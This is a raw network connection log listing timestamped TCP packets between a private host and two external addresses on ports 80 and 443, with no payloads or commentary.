Dec 20, 2024 04:12:34.641247034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.642102003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.642158031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.642270088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.642318964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.643111944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.643165112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.643188953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.643239021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.644139051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.644195080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.644228935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.644270897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.645170927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.645225048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.645262003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.645354986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.646193027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.646253109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.646301985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.646411896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.647229910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.647284031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.647344112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.647763014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.648283005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.648330927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.648391008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.648562908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.649293900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.649347067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.649380922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.649424076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.650326014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.650399923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.650453091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.651362896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.651411057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.651470900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.651515961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.652403116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.652508974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.652563095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.653451920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.653501987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.653579950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.653624058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.654480934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.654531956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.654571056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.654617071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.655472040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.655518055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.655579090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.655630112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.656506062 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.656666040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.656680107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.656711102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.657560110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.657603025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.657609940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.657639027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.658592939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.658658981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.658696890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.658829927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.659634113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.659684896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.659742117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.659780979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.660641909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.660700083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.660830021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.660895109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.661683083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.661732912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.661732912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.661766052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.662714005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.662765980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.662774086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.662810087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.663856983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.663907051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.663960934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.664007902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.664866924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.664917946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.664990902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.665088892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.665971041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.666022062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.666028023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.666063070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.666935921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.667032003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.667053938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.667093039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.667895079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.667948008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.668023109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.668123007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.668916941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.668962002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.669075966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.669120073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.669938087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.669982910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.670073986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.670500040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.670979023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.671096087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.671132088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.671161890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.672055960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.672103882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.672113895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.672142029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.673032999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.673089027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.673156023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.673285961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.674057007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.674112082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.674273968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.674485922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.675087929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.675230026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.675276995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.676106930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.676155090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.676229954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.676297903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.677160025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.677208900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.677283049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.677325010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.678175926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.678230047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.678301096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.678347111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.679265976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.679351091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.679385900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.679428101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.680237055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.680286884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.680454016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.680500984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.681282043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.681333065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.681370020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.681413889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.682307005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.682430029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.682451010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.682481050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.683443069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.683492899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.683537006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.683593988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.684402943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.684451103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.684544086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.684590101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.685417891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.685471058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.685597897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.685657978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.686455011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.686506987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.686594009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.686641932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.687485933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.687530994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.687537909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.687585115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.688221931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.688271046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.688327074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.688409090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.689244986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.689311028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.689346075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.689416885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.690258980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.690321922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.690368891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.690411091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.691267967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.691334963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.729149103 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:34.729213953 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:34.729300976 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:34.729619026 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:34.729654074 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:34.829489946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.829571009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.829659939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.829775095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.829957008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.830003023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.830056906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.830569983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.830986023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.831094027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.831141949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.832039118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.832093954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.832148075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.832210064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.833024025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.833079100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.833117962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.833163023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.834053993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.834213972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.834266901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.835124969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.835170031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.835203886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.835242987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.836132050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.836191893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.836256027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.836308002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.837280989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.837327957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.837413073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.837456942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.838242054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.838326931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.838376045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.839245081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.839289904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.839298010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.839340925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.840277910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.840327024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.840333939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.840373993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.841288090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.841351032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.841384888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.841428995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.842339993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.842412949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.842458010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.842494965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.843365908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.843427896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.843502045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.843558073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.844391108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.844439983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.844484091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.844531059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.845421076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.845477104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.845525980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.845663071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.846443892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.846493959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.846533060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.846591949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.847496033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.847543001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.847606897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.847666025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.848524094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.848576069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.848614931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.848663092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.849540949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.849601030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.849615097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.849646091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.850640059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.850717068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.850754976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.850797892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.851660967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.851711988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.851794958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.851841927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.852638960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.852699041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.852744102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.852895975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.853667021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.853749037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.853806019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.854732990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.854784966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.854799032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.854839087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.855737925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.855796099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.855834007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.855906963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.856769085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.856832027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.856880903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.856928110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.857810020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.857868910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.857908010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.857959032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.858831882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.858889103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.858933926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.858989000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.859859943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.859914064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.859918118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.859972000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.860899925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.860953093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.860971928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.861017942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.861933947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.861990929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.862029076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.862076998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.862972975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.863034964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.863075018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.863240957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.863995075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.864063025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.864097118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.864141941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.865045071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.865098000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.865151882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.865195990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.866039991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:34.866091013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:34.866149902 CET	80	49838	31.41.244.11	192.168.2.4
